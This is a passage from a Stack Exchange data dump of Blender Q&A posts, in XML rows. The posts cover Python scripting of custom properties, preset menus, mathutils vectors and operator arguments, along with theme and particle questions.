&quot;frame_start&quot;)&#xA;        row.prop(scene, &quot;frame_end&quot;)&#xA;&#xA;class MakeTarget(bpy.types.Operator) :&#xA;    bl_idname = &quot;mesh.make_target&quot;&#xA;    bl_label = &quot;Add Target&quot;&#xA;    bl_options = {&quot;UNDO&quot;}&#xA;&#xA;    def invoke(self, context, event) :&#xA;        Vertices = \&#xA;          [&#xA;            mathutils.Vector((-0.5, -0.5,0)),&#xA;            mathutils.Vector((0.5, -0.5, 0)),&#xA;            mathutils.Vector((0.5, 0.5, 0)),&#xA;            mathutils.Vector((-0.5, 0.5, 0)),&#xA;&#xA;          ]&#xA;        NewMesh = bpy.data.meshes.new(&quot;Target&quot;)&#xA;        NewMesh.from_pydata \&#xA;            (&#xA;            Vertices,&#xA;            [],&#xA;            [[0, 1, 2], [0, 1, 3], [1, 2, 3], [2, 0, 3]]&#xA;          )&#xA;        NewMesh.update()&#xA;        NewObj = bpy.data.objects.new(&quot;Target&quot;, NewMesh)&#xA;        context.scene.objects.link(NewObj)&#xA;        return {&quot;FINISHED&quot;}&#xA;    #end invoke&#xA;&#xA;&#xA;def register() :&#xA;    bpy.utils.register_class(MakeTarget)&#xA;    bpy.utils.register_class(TargetMakerPanel)&#xA;&#xA;def unregister() :&#xA;    bpy.utils.unregister_class(MakeTarget)&#xA;    bpy.utils.unregister_class(TargetMakerPanel)&#xA;&#xA;if __name__ == &quot;__main__&quot; :&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my code I would ideally like it so that the row that slider that says &quot;Start Frame&quot; would allow me to recognise that value and assign it to a variable called MinSpeed.... Rather than it automatically changing the frame as blender had already defined it as...&lt;/p&gt;&#xA;" OwnerUserId="1152" LastEditorUserId="1152" LastEditDate="2013-08-22T15:00:34.893" LastActivityDate="2013-08-22T18:13:34.960" Title="Blender python custom UI button run custom function?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2506" PostTypeId="2" ParentId="2505" CreationDate="2013-08-22T15:06:06.633" Score="9" Body="&lt;p&gt;You can use custom properties in Blender by defining it like so (for example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.your_property = bpy.props.IntProperty(&#xA;    name = &quot;Name your int prop&quot;, # as you want it to appear on the slider&#xA;    default = 1, # optional&#xA;    description = &quot;Short description of your prop, to show in the popup&quot;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.your_property = bpy.props.StringProperty(&#xA;    name = &quot;Name your prop&quot;,&#xA;    default = &quot;default value for your prop (optional)&quot;,&#xA;    description = &quot;Short description of your prop, to show in the popup&quot;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read this for documentation about properties: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.props.html&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.props.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later, you can use your property in the code, by calling it like so (for example, and assuming you're in a function with &lt;code&gt;context&lt;/code&gt; available, like your &lt;code&gt;invoke&lt;/code&gt; function of your &lt;code&gt;MakeTarget&lt;/code&gt; class) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if context.scene.your_property == 2:&#xA;    do_something()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, to use it in Blender's UI (&lt;code&gt;TargetMakerPanel&lt;/code&gt; class):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row = layout.row()&#xA;row.prop(context.scene, &quot;your_property&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Blender will automatically make the UI that correspond the property type. (eg. a slider for an IntProperty, input box for a string, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see more examples here : &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface#Using_scene_properties_to_store_information&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface#Using_scene_properties_to_store_information&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="55" LastEditDate="2013-08-22T18:13:34.960" LastActivityDate="2013-08-22T18:13:34.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2507" PostTypeId="1" AcceptedAnswerId="2509" CreationDate="2013-08-22T23:12:26.580" Score="5" ViewCount="3386" Body="&lt;p&gt;Hey I was wondering it it would be possible to store the stats of the different things I made in the user interface. So each option in the drop down menu would store different information. Also I would like the add option so they could add more groups in and therefore take them away... Any help would be greatly appreciated!!!&#xA;    import bpy&#xA;    from bpy.props import *&#xA;    import math&#xA;    import mathutils&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class TargetMakerPanel(bpy.types.Panel) :&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;    bl_label = &quot;CrowD&quot;&#xA;    def draw(self, context) :&#xA;        layout = self.layout&#xA;        layout = self.layout&#xA;        TheCol = self.layout.row(align = True)&#xA;        TheCol.operator(&quot;mesh.make_target&quot;, text = &quot;Add Target&quot;)&#xA;        TheCol.prop(context.scene, &quot;Render_Target&quot;)&#xA;        TheCol = self.layout.row(align = True)&#xA;        TheCol.prop(context.scene, &quot;GroupSelection&quot;)&#xA;        TheCol.operator(&quot;render.preset_add&quot;, text=&quot;&quot;, icon='ZOOMIN')&#xA;        TheCol.operator(&quot;render.preset_add&quot;, text=&quot;&quot;, icon='ZOOMOUT').remove_active = True&#xA;        row = layout.row()&#xA;        row.prop(context.scene, &quot;Mingle&quot;)&#xA;        row = layout.row()&#xA;        row.prop(context.scene, &quot;People_Name&quot;)&#xA;        layout.label(text=&quot; Random Speed:&quot;)&#xA;        row = layout.row()&#xA;        row.prop(context.scene, &quot;Min_Speed&quot;)&#xA;        row.prop(context.scene, &quot;Max_Speed&quot;)&#xA;        layout.label(text=&quot; Random Spawn minimum:&quot;)&#xA;        row = layout.row(align=True)&#xA;        row.prop(context.scene, &quot;Min_X&quot;)&#xA;        row.prop(context.scene, &quot;Min_Y&quot;)&#xA;        row.prop(context.scene, &quot;Min_Z&quot;)&#xA;        layout.label(text=&quot; Random Spawn maximum:&quot;)&#xA;        row = layout.row(align=True)&#xA;        row.prop(context.scene, &quot;Max_X&quot;)&#xA;        row.prop(context.scene, &quot;Max_Y&quot;)&#xA;        row.prop(context.scene, &quot;Max_Z&quot;)&#xA;        layout.label(text=&quot; Number of people to spawn:&quot;)&#xA;        row = layout.row(align=True)&#xA;        row.prop(context.scene, &quot;SpawnCount&quot;)&#xA;&#xA;bpy.types.Scene.Mingle = bpy.props.BoolProperty\&#xA;(&#xA;    name = &quot;Mingle&quot;,&#xA;    description = &quot;Decides if people should mingle or not.&quot;&#xA;    ) &#xA;bpy.types.Scene.Render_Target = bpy.props.BoolProperty\&#xA;(&#xA;    name = &quot;Render Target&quot;,&#xA;    default = False,&#xA;    description = &quot;Decides if the Target plane should be rendered.&quot;&#xA;    )       &#xA;bpy.types.Scene.Min_Speed= bpy.props.IntProperty\&#xA;    (&#xA;    name = &quot;MinSpeed&quot;,&#xA;    default = 1,&#xA;    description = &quot;Minimum speed of the people.&quot;&#xA;    )        &#xA;bpy.types.Scene.Max_Speed= bpy.props.IntProperty\&#xA;    (&#xA;    name = &quot;MaxSpeed&quot;,&#xA;    default = 1,&#xA;    description = &quot;Maximum speed of the people.&quot;&#xA;    ) &#xA;bpy.types.Scene.Min_X= bpy.props.IntProperty\&#xA;    (&#xA;    name = &quot;Min X&quot;,&#xA;    default = 1,&#xA;    description = &quot;Minimum X location of the people.&quot;&#xA;    ) &#xA;bpy.types.Scene.Min_Y= bpy.props.IntProperty\&#xA;    (&#xA;    name = &quot;Min Y&quot;,&#xA;    default = 1,&#xA;    description = &quot;Minimum Y location of the people.&quot;&#xA;    ) &#xA;bpy.types.Scene.Min_Z= bpy.props.IntProperty\&#xA;    (&#xA;    name = &quot;Min Z&quot;,&#xA;    default = 1,&#xA;    description = &quot;Minimum Z location of the people.&quot;&#xA;    ) &#xA;bpy.types.Scene.Max_X= bpy.props.IntProperty\&#xA;    (&#xA;    name = &quot;Max X&quot;,&#xA;    default = 1,&#xA;    description = &quot;Maximum X location of the people&quot;&#xA;    ) &#xA;bpy.types.Scene.Max_Y= bpy.props.IntProperty\&#xA;    (&#xA;    name = &quot;Max Y&quot;,&#xA;    default = 1,&#xA;    description = &quot;Maximum Y location of the people&quot;&#xA;    ) &#xA;bpy.types.Scene.Max_Z= bpy.props.IntProperty\&#xA;    (&#xA;    name = &quot;Max Z&quot;,&#xA;    default = 1,&#xA;    description = &quot;Maximum Z location of the people&quot;&#xA;    ) &#xA;bpy.types.Scene.People_Name = bpy.props.StringProperty\&#xA;    (&#xA;    name = &quot;Spawn Names&quot;,&#xA;    description = &quot;The name the people will be called when spawned&quot;&#xA;    )&#xA;bpy.types.Scene.SpawnCount= bpy.props.IntProperty\&#xA;    (&#xA;    name = &quot;Spawn Count&quot;,&#xA;    default = 10,&#xA;    description = &quot;How many people should spawn&quot;&#xA;    ) &#xA;bpy.types.Scene.GroupSelection = EnumProperty(&#xA;        items = [(&quot;1&quot;, &quot;Group 1&quot;, &quot;First Group&quot;),&#xA;                 (&quot;2&quot;, &quot;Group 2&quot;, &quot;Second Group&quot;),&#xA;                 (&quot;3&quot;, &quot;Group 3&quot;, &quot;Third Group&quot;)],&#xA;        name = &quot;GroupNumber&quot;)&#xA;&#xA;&#xA;class MakeTarget(bpy.types.Operator) :&#xA;    bl_idname = &quot;mesh.make_target&quot;&#xA;    bl_label = &quot;Add Target&quot;&#xA;    bl_options = {&quot;UNDO&quot;}&#xA;&#xA;    def invoke(self, context, event):&#xA;&#xA;        Vertices = \&#xA;          [&#xA;            mathutils.Vector((-2, -2,0)),&#xA;            mathutils.Vector((2, -2, 0)),&#xA;            mathutils.Vector((2, 2, 0)),&#xA;            mathutils.Vector((-2, 2, 0)),&#xA;&#xA;          ]&#xA;        NewMesh = bpy.data.meshes.new(&quot;Target&quot;)&#xA;        NewMesh.from_pydata \&#xA;          (&#xA;            Vertices,&#xA;            [],&#xA;            [[0, 1, 2], [0, 1, 3], [1, 2, 3], [2, 0, 3]]&#xA;          )&#xA;        NewMesh.update()&#xA;        NewObj = bpy.data.objects.new(&quot;Target&quot;, NewMesh)&#xA;        context.scene.objects.link(NewObj)     &#xA;        if context.scene.Render_Target == True:&#xA;            bpy.data.objects[&quot;Target&quot;].hide_render = False&#xA;        if context.scene.Render_Target == False:&#xA;            bpy.data.objects[&quot;Target&quot;].hide_render = True&#xA;        return {&quot;FINISHED&quot;}&#xA;    #end invoke&#xA;&#xA;&#xA;def register() :&#xA;    bpy.utils.register_class(MakeTarget)&#xA;    bpy.utils.register_class(TargetMakerPanel)&#xA;&#xA;def unregister() :&#xA;    bpy.utils.unregister_class(MakeTarget)&#xA;    bpy.utils.unregister_class(TargetMakerPanel)&#xA;&#xA;if __name__ == &quot;__main__&quot; :&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1152" LastActivityDate="2013-08-23T00:43:34.763" Title="Python add drop down menu that stores data" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2508" PostTypeId="1" AcceptedAnswerId="2511" CreationDate="2013-08-23T00:30:58.943" Score="10" ViewCount="3886" Body="&lt;p&gt;I would like to use Blender to visualize what I'm calculating with linear algebra formulas, I need to perform linear functions starting with a 2D or 3D vector and multiply this entity with a custom defined matrix; the result of this is a vector that I would like to visualize in some sort of way on the scene ( an arrow, a cilinder, a 3D shape a 2D shape, something ... possibly with colors so I can visualize multiple vector on the same scene ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I know how to get the x,y,z coordinates for each vertex,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# 1 possible way to get x &#xA;bpy.context.object.data.vertices[0].co.x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know how to get an object of type Vector out of this ( 2D or 3D vector ) and fill a matrix ( tipically a 3x3 matrix ) that I can use to perform the computation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm basically having a little trouble understanding how to get the types that I want for the task that I need to perform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the end I also need to keep the result of this computation, tipically an array of vectors/vertices, on the scene in an easy-to-visualize way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.68a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1154" LastActivityDate="2021-05-11T07:18:21.800" Title="How to compute and visualize a Vector?" Tags="&lt;python&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2509" PostTypeId="2" ParentId="2507" CreationDate="2013-08-23T00:43:34.763" Score="10" Body="&lt;p&gt;You can make use of Blender's as yet undocumented &lt;em&gt;preset system&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Operator&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First, make an operator that's also subclassing from &lt;code&gt;bl_operators.presets.AddPresetBase&lt;/code&gt; to define values to store:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bl_operators.presets import AddPresetBase&#xA;&#xA;class RENDER_OT_my_preset_add(AddPresetBase, bpy.types.Operator):&#xA;    &quot;&quot;&quot;Add a new render preset.&quot;&quot;&quot;&#xA;    bl_idname = 'render.my_preset_add'&#xA;    bl_label = 'Add My Render Preset'&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;    preset_menu = 'RENDER_MT_my_presets'&#xA;    preset_subdir = 'my_render_preset'&#xA;&#xA;    preset_defines = [&#xA;        &quot;scene  = bpy.context.scene&quot;,&#xA;        &quot;render = bpy.context.scene.render&quot;,&#xA;        &quot;image  = bpy.context.scene.render.image_settings&quot;,&#xA;        ]&#xA;&#xA;    preset_values = [&#xA;        &quot;scene.use_preview_range&quot;,&#xA;        &quot;render.engine&quot;,&#xA;        &quot;render.use_stamp&quot;,&#xA;        &quot;image.file_format&quot;,&#xA;        ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In an &lt;code&gt;AddPresetBase&lt;/code&gt;-derived operator, several attributes need to be defined:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;preset_menu&lt;/code&gt;, menu class that will display preset items.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;preset_subdir&lt;/code&gt;, subdirectory of &lt;code&gt;scripts/presets/&lt;/code&gt; that will store preset files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;preset_defines&lt;/code&gt;, whatever needs to be defined before variable storage operation, including creation of variables to be stored.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;preset_values&lt;/code&gt;, variables whose value will be stored in the preset.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Menu&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Next, the menu itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RENDER_MT_my_presets(bpy.types.Menu):&#xA;    '''Presets for render settings.'''&#xA;    bl_label = &quot;My Render Presets&quot;&#xA;    bl_idname = &quot;RENDER_MT_my_presets&quot;&#xA;    preset_subdir = &quot;my_render_preset&quot;&#xA;    preset_operator = &quot;script.execute_preset&quot;&#xA;&#xA;    draw = bpy.types.Menu.draw_preset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's an ordinary menu with two attributes defined:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;preset_subdir&lt;/code&gt;, same as for the operator, above.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;preset_operator&lt;/code&gt;, operator class related to this menu.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also provide &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.Menu.html#bpy.types.Menu.draw_preset&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.types.Menu.draw_preset&lt;/code&gt;&lt;/a&gt; as the menu's &lt;code&gt;draw&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each preset will be saved as a Python script in &lt;code&gt;preset_subdir&lt;/code&gt;, and these classes enforce file (therefore preset) naming. There are ways to bypass preset naming enforcement, e.g. by overloading the menu class' &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.Menu.html#bpy.types.Menu.path_menu&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;path_menu&lt;/code&gt;&lt;/a&gt; method, but it's too much mucking the internal.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Panel&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The only thing left is to display the preset menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RENDER_PT_my_settings(bpy.types.Panel):&#xA;    bl_label = 'My Render Settings'&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = 'render'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        col = layout.column_flow(align=True)&#xA;        col.label('My Render Presets:')&#xA;        row = col.row(align=True)&#xA;        row.menu(&quot;RENDER_MT_my_presets&quot;,&#xA;                 text=bpy.types.RENDER_MT_my_presets.bl_label)&#xA;        row.operator(&quot;render.my_preset_add&quot;, text=&quot;&quot;, icon='ZOOMIN')&#xA;        row.operator(&quot;render.my_preset_add&quot;, text=&quot;&quot;, icon='ZOOMOUT').remove_active = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... that will look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P4vWr.png&quot; alt=&quot;My Render Presets&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-08-23T00:43:34.763" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2510" PostTypeId="2" ParentId="2508" CreationDate="2013-08-23T03:53:33.307" Score="6" Body="&lt;p&gt;I would suggest to add empty objects, or create a mesh to visualize Matrix/Euler/Vector types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a handy alternative to this, Blender comes with the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Math_Viz&quot;&gt;MathVis&lt;/a&gt; addon that draws python defined variables in the view-port.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-23T03:53:33.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2511" PostTypeId="2" ParentId="2508" CreationDate="2013-08-23T10:49:31.807" Score="6" Body="&lt;p&gt;The documents for the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/mathutils.html?highlight=matrix#mathutils.Matrix&quot; rel=&quot;noreferrer&quot;&gt;Matrix&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/mathutils.html?highlight=vector#mathutils.Vector&quot; rel=&quot;noreferrer&quot;&gt;Vector classes&lt;/a&gt; are invaluable reading.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mathutils import Vector&#xA;&#xA;# zero vector, a default&#xA;v1 = Vector()&#xA;&#xA;# quick-hand reference to the class.&#xA;print(dir(v1))  &#xA;&#xA;# using integers or floats   &#xA;v2 = Vector((1, 0, 0))  &#xA;v3 = Vector((1.0, 3.0, 0.0)) &#xA;&#xA;x, y, z = v3.to_tuple()&#xA;&#xA;v3.xyz&#xA;# Vector((1.0, 3.0, 0.0))&#xA;&#xA;v3.zyx&#xA;# Vector((0.0, 3.0, 1.0))&#xA;&#xA;# normalize the vector in place, overwrites the value of original vector&#xA;v3.normalize()&#xA;&#xA;# normalized returns a normalized copy but does not modify the original.&#xA;v3.normalized()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are many more methods in the Vector class, all covered in the documentation. Unfortunately there are no ready made tools for blender that will draw the head and tail of vectors in the way that you describe. I can see how they would be useful for teaching about vectors initially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Math_Viz&quot; rel=&quot;noreferrer&quot;&gt;Math Viz addon&lt;/a&gt;, doesn't have much documentation but it is straight forward enough. Enable the addon then use the python console to enter these one by one while observing what happens in the 3d view.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v1 = Vector()&#xA;v2 = Vector((1,1,0))&#xA;line = [v1, v2]   # brackets are optional&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to delete any you can do &lt;code&gt;del v1&lt;/code&gt; or &lt;code&gt;del line&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-08-23T20:41:18.070" LastActivityDate="2013-08-23T20:41:18.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2512" PostTypeId="1" AcceptedAnswerId="2513" CreationDate="2013-08-23T11:30:56.983" Score="6" ViewCount="4274" Body="&lt;p&gt;There is an option to change the color of various edges (selected, seam, crease...)in the themes menu, but not for the simple non selected edges. there is a way to change the black color?&lt;/p&gt;&#xA;" OwnerUserId="663" LastActivityDate="2013-08-23T11:38:14.293" Title="Changing the color of non selected edges in the theme preferences" Tags="&lt;3d-view&gt;&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2513" PostTypeId="2" ParentId="2512" CreationDate="2013-08-23T11:38:14.293" Score="6" Body="&lt;p&gt;In the preferences you could change the &lt;em&gt;Wire Edit&lt;/em&gt; color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xCJqd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This influences the non selected edges in edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GBQfv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-08-23T11:38:14.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2514" PostTypeId="1" CreationDate="2013-08-23T12:06:07.440" Score="6" ViewCount="2660" Body="&lt;p&gt;In trying to replace Sapling 2D leaves with custom ones, I struggle to orient them properly. Setting the &lt;em&gt;Tangent&lt;/em&gt; value to 1 in the particle system doesn't have any effect (bug ?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cXRhY.png&quot; alt=&quot;Leaf replacement orientation problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new leaves in &lt;a href=&quot;http://www.pasteall.org/blend/23609&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blend&lt;/a&gt; are in the right plane and their bases touch the branches. It must remain like that, but the new leaves should grow in the same direction as the old one (at the moment it's random). If you select one of the old leaves's face and choose &quot;normal&quot; for the orientation, you can notice that the x and y axis follow the sides of the old leaf, so the orientation information is in the mesh. But how can I get it to influence the particles?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The base of the new leaf must touch the branches because the tree will be in the foreground.&lt;/li&gt;&#xA;&lt;li&gt;The orientation must follow the original leaf's one.&lt;/li&gt;&#xA;&lt;li&gt;The whole foliage must be easily editable and form one mesh (to be able to make instances of it). For that, the current solution is to use a particle instance modifier. The answer can use something else, but it must have the same convenience (fast because having each leaf in one object makes blender slow at 2000+ leaves and easy to modify : modifying one leaf mesh modifies the whole foliage)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2013-08-27T12:43:11.130" LastActivityDate="2013-08-27T12:43:11.130" Title="How can I properly orient custom leaves with a Particle System modifier?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2515" PostTypeId="1" AcceptedAnswerId="2516" CreationDate="2013-08-23T16:12:35.083" Score="14" ViewCount="2224" Body="&lt;p&gt;Basically, I want to have a single operator which can do multiple things, based on some attributes values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyPanel(bpy.types.Panel):&#xA;    # (...)&#xA;    layout = self.layout&#xA;    row = layout.row()&#xA;    row.operator(&quot;my.button&quot;, text=&quot;Button text&quot;)&#xA;&#xA;class MY_BUTTON_OT_Button(bpy.types.Operator):&#xA;    bl_idname = &quot;my.button&quot;&#xA;    bl_description = &quot;Button description&quot;&#xA;    bl_label = &quot;Button&quot;&#xA;    foo = bpy.props.IntProperty()&#xA;    bar = bpy.props.BoolProperty()&#xA;&#xA;    if bar:&#xA;        # Do something with foo&#xA;    else:&#xA;        # Do something else :P&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know how to set &lt;strong&gt;one&lt;/strong&gt; attribute, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    row.operator(&quot;my.button&quot;, text=&quot;Button text&quot;).foo=5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what about multiple arguments?&lt;br&gt;&#xA;I tried several things that didn't worked, like (e.g.):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;With &lt;code&gt;setattr()&lt;/code&gt;:&lt;br&gt;&#xA;&lt;s&gt;&lt;code&gt;row.operator(&quot;my.button&quot;, text=&quot;Button text&quot;).setattr(foo=5,bar=True)&lt;/code&gt;&lt;/s&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With a custom method &lt;code&gt;setVal()&lt;/code&gt; in the operator class:&lt;br&gt;&#xA;&lt;s&gt;&lt;code&gt;row.operator(&quot;my.button&quot;, text=&quot;Button text&quot;).setVal(foo=5,bar=True)&lt;/code&gt;&lt;/s&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe I must use a single &lt;code&gt;EnumProperty&lt;/code&gt;? I hope to avoid this, so my question is:&lt;br&gt;&#xA;&lt;strong&gt;Is it possible to pass multiple custom arguments&lt;/strong&gt; to set attributes in an operator class? And if yes, &lt;strong&gt;how&lt;/strong&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="15543" LastEditDate="2018-01-03T14:53:26.603" LastActivityDate="2020-02-26T14:41:30.970" Title="How to pass multiple operator properties via UI layout?" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2516" PostTypeId="2" ParentId="2515" CreationDate="2013-08-23T16:30:55.263" Score="20" Body="&lt;p&gt;There may be other ways, but that's the easiest. Instead of using &lt;code&gt;operator()&lt;/code&gt;'s return value (an &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.OperatorProperties.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;OperatorProperties&lt;/code&gt;&lt;/a&gt;) right away, capture it in a variable, and assign them there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;props = row.operator(&quot;my.button&quot;, text=&quot;Button text&quot;)&#xA;props.foo = 5&#xA;props.bar = &quot;Bar&quot;&#xA;props.baz = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="31447" LastEditDate="2020-02-26T14:41:30.970" LastActivityDate="2020-02-26T14:41:30.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
